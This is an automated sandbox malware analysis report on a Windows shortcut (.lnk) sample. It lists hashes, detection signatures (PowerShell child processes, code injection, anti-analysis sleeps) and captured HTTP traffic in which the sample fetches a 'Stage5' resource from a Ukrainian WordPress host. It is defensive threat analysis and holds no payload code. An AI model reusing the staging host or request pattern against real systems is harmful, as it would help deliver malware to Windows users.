Windows Analysis Report
sbOq2d6k2t.lnk

Overview

General Information

Sample name: sbOq2d6k2t.lnk
renamed because original name is a hash value
Original sample name: 806b5269e7aa9c2c82ce247b30a3e92a4f7285b21e2bcf54c8ffad86bd92ea68.lnk
Analysis ID: 1543063
MD5: 39cf9750a6ddd099525b05015a61078b
SHA1: 62baca21ff6d14e887b1a6ba5a247e01a3836664
SHA256: 806b5269e7aa9c2c82ce247b30a3e92a4f7285b21e2bcf54c8ffad86bd92ea68
Tags: calendar-stib-com-ualnkuser-JAMESWT_MHT
Infos:

Detection

Score: 68
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
AI detected suspicious sample
Sigma detected: Potentially Suspicious PowerShell Child Processes
Windows shortcut file (LNK) contains suspicious command line arguments
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Uses a known web browser user agent for HTTP communication

Classification

AV Detection

barindex
Source: sbOq2d6k2t.lnk ReversingLabs: Detection: 18%
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.8% probability
Source: unknown HTTPS traffic detected: 185.68.16.189:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: Joe Sandbox View ASN Name: UKRAINE-ASUA UKRAINE-ASUA
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: global traffic HTTP traffic detected: GET /programy-nauczania/GTSvitikgasuStage5 HTTP/1.1Accept: */*Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-includes/css/classic-themes.min.css?ver=1 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.7.7 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/css/front.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/js/chosen/chosen.min.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/by_author/css/by_author.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/by_instock/css/by_instock.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/by_text/assets/css/front.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/label/css/html_types/label.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/quick_search/css/quick_search.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/by_onsales/css/by_onsales.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/select_radio_check/css/html_types/select_radio_check.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/elements/checkbox.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/elements/radio.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/elements/switcher.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/elements/color.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/tooltip.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/front.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/css/switcher.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woo-discount-rules/v2/Assets/Css/customize-table.css?ver=2.3.8 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woo-discount-rules-pro/Assets/Css/awdr_style.css?ver=2.3.7 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/themes/flatsome/assets/css/flatsome.css?ver=3.17.5 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/themes/flatsome/assets/css/flatsome-shop.css?ver=3.17.5 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/by_text/assets/js/husky.js?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-includes/js/jquery/jquery.min.js?ver=3.6.1 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.8 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woo-discount-rules/v2/Assets/Js/awdr-dynamic-price.js?ver=2.3.8 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/duracelltomi-google-tag-manager/js/gtm4wp-contact-form-7-tracker.js?ver=1.13.1 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woo-discount-rules-pro/Assets/Js/awdr_pro.js?ver=2.3.7 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /programy-nauczania/GTSvitikgasuStage5 HTTP/1.1Accept: */*Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-includes/css/classic-themes.min.css?ver=1 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.7.7 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/css/front.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/js/chosen/chosen.min.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/by_author/css/by_author.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/by_instock/css/by_instock.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/by_text/assets/css/front.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/label/css/html_types/label.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/quick_search/css/quick_search.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/by_onsales/css/by_onsales.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/select_radio_check/css/html_types/select_radio_check.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/elements/checkbox.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/elements/radio.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/elements/switcher.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/elements/color.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/tooltip.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/front.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/css/switcher.css?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
